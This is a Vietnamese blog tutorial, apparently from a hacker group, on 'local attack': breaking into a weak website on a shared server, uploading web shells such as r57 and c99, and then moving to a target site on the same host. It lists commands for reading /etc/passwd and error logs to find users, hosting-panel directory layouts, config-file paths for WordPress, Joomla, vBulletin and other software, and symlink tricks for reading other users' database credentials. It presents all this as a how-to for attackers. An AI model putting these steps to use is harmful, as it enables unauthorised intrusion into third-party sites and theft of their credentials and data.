+ Local Attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong.
+ Bằng cách tấn công vào một website có bảo mật kém chung server với website mục tiêu, sau đó sử dụng các công cụ và kỹ thuật khác nhau tấn công sang mục tiêu trong nội bộ .

1. CÁC BƯỚC LOCAL ATTACK

+ Xác định các website chung sever với mục tiêu (Victim)

+ Kiểm tra toàn sever ,xác định site bảo mật kém và khai thác bằng các hình thức tấn công trực tiếp .

+ Up Shell lên website đã khai thác lỗi bảo mật

+ Kiểm tra điều kiện sever và quyền thực thi , sử dụng bypasss nếu bị hạn chế quyền

+ Tiến hành local sang mục tiêu


2. PHƯƠNG PHÁP LOCAL ATTACK

+ Xác định danh sách User trên toàn server để tìm user mục tiêu

+ Xác định path của mục tiêu

+ Xác định file config của mục tiêu

+ Local sang mục tiêu và lấy thông tin từ file config của mục tiêu

+ Crack + Brute hoặc change pass để login vào mụct iêu .

+ Up shell lên mục tiêu

3. Một số shell thường dùng trong local
r57, c99, shell cgi, byg....

- shell r57 chỉ run được lệnh khi safemod=off, và chức năng php eval của nó run được khi không bị dis fun :D
- shell cgi có thể run lệnh ngay cả khi safemod=on
- c99 dễ dùng nhưng ít chức năng
- và còn nhiều loại khác nhưng chủ yếu vẫn là xào nấu lại từ c99 và r57 

Phần này mình sẽ có một bài hướng dẫn riêng

4. Các câu lệnh cơ bản trong local attack

a. Xác định danh sách user

cat /etc/passwd
less /etc/passwd
more /etc/passwd
tail /etc/passwd
xxd /etc/passwd
rev /etc/passwd
tac /etc/passwd

* Lệnh kết hợp đặc biệt :

cat /etc/passwd |grep "/home" |cut -d: -f1

- Với Directadmin ta có lệnh sau :

cat /etc/virtual/domainowners

- Với cpanel ta có lệnh sau:

ls -la /etc/valiases/tendomainvictim.com

- Còn rất nhiều cách để tìm user của victim như xem error log ...

tail -n 10000 /var/log/httpd/domains/domain.com.error.log

cat /usr/local/apache/logs/error_log | grep "domain.com" >>"user.txt"

* Đối với nginx

cat /var/log/nginx/error_log
Hoặc
cat /var/log/nginx/domain.com.error.log

b. TÌM PATH MỤC TIÊU & FILE CONFIG

Cpanel : /home/user/public_html/
Direct Admin : /home/user/domains/tenmien.com/public_html/
Koloxo : /home/user/tenmien.com/public_html/
Plesk : /var/www/user/httdocs/

* Kết hợp đặc biệt :
Đôi khi trong 1 số trường hợp ta phải kết hợp với tấn công trực tiếp để lấy path mục tiêu một cách nhanh và tiện nhất .
Với các mã nguồn mở có thể sử dụng các exploit và bug để xác định path của mục tiêu


c. LOCAL – GET THÔNG TIN FILE CONFIG


ls , dir : Liệt kê tên các file bên trong thư mục

ls -al, ls -lia, dir -ao: Liệt kê tên và thuộc tính các file bên trong thư mục

vi, cat, less, more, tail : View nôi dung bên trong các file

ln : Lệnh symbolic link (Giống như thực hiện tạo shortcut trong windows)

cd: Chuyển đổi thư mục

chmod: Phân quyền cho các file hoặc thư mục (Cấu trúc lệnh : chmod 000 file/thumuc)

mkdir: tạo thư mục tại vị trí hiện tại

touch : Tạo file

zip -9 –r file.zip /path/ : lệnh nén dạng zip với tùy chọn cao nhất và hỗ trợ repair

unzip file.zip : lệnh giải nén định dạng zip

tar –cvf file.tar.gz /path/ : lệnh nén dạng tar (Nhẹ và nhanh hơn dạng Zip)

tar –xvf file.tar.gz : lệnh giải nén dạng tar

* Symlink và view file config của mục tiêu :

Sử dụng lệnh cat để view file config hoặc nếu không được sử dụng lệnh symlink

Cú pháp lệnh :

Cat /path/config.php

- symlink

Ln –s /path/config.php config.txt

Dùng lệnh này thì nó sẽ tạo 1 file config.txt ngang hàng với con shell và có nội dụng của file config, ta chỉ việc đọc file config.txt để biết nội dung file config (Tuy nhiên hiện nay đa số server đề không thể đọc theo cách bình thường :D )

- Sử dụng chức năng conect database trong r57 , c99 hoặc các shell chức năng đểt hực hiện việc kết nối với cơ sở dữ liệu, thay thông tin bên trong đó .

- Tùy trường hợp ta có thể sử dụng các chức năng hoặc công cụ khác nhau để thực hiện tấn công

* Đường dẫn file config của một số mã nguồn (Nếu thèng ad nó chưa đổi :D )

Vbulletin: public_html/includes/config.php
PHPBB: public_html/config.php
Joomla: public_html/configuration.php
WordPress: public_html/wp-config.php
ibp: public_html/conf_global.php
php-fusion: public_html/config.php
Smf: public_html/Settings.php
phpnuke: public_html/html/config.php
Xoops: public_html/mainfile.php
ZenCart: public_html/includes/configure.php
setidio: public_html/datas/config.php
Discuz: public_html/config/config_ucenter.php
Bo-Blog: public_html/data/config.php
Nukeviet: public_html/config.php

5. Một số chú ý:
- Đối với directadmin link vào phpmyadmin sẽ là: http://domain/phpmyadmin
- Trường hợp ko có phpmyadmin ta có thể dùng chức năng connect database của con shell hoặc đơn giản hơn là up luôn 1 cái phpmyadmin lên victim rồi truy cập và như bình thường :)) . Trường hợp xấu hơn là 2 cách trên không được thì up tool backup data lên backup lại rồi tải về restore trên local để lấy pass mà crack :))
- Các câu lệnh sử dụng ở trên là lệnh linux và được gọi ra từ thư mục /bin trường hợp không dùng được lệnh thì là do server đã chặn hoặc làm gì đó rồi nên không run được lệnh => ta có thể tìm cách để thay thế cái thư mục bin đó (cái này gọi là phương pháp thay thế sẽ đươc giới thiệu ở các bài sau)

Trên đây chỉ là khái quát một cách sơ lược nhất về local attack, còn khi vào thực tế thì nó thiên biến vạn hóa nên các bạn cần vận dụng cho hợp lý, chứ đừng quá máy móc theo tut.

Bonus: Video local attack căn bản




p/s: Loạt tut "Làm thế nào để trở thành một hacker" của mình dăng tại forum của VHB Group được khá nhiều bạn copy và lech về blog mà không ghi nguồn, thậm chí có bạn còn tự nhận đó là bài viết của mình :( 
  Hiện tại, mình sẽ chỉnh sửa và tổng hợp lại một lần nữa loạt tut này trên blog của mình kèm theo một cái tiêu đề mới. Hi vọng khi các bạn lech đi đâu vui lòng ghi rõ nguồn: Quỷ lệ - VHB Group

Đăng nhận xét Blogger

 
Top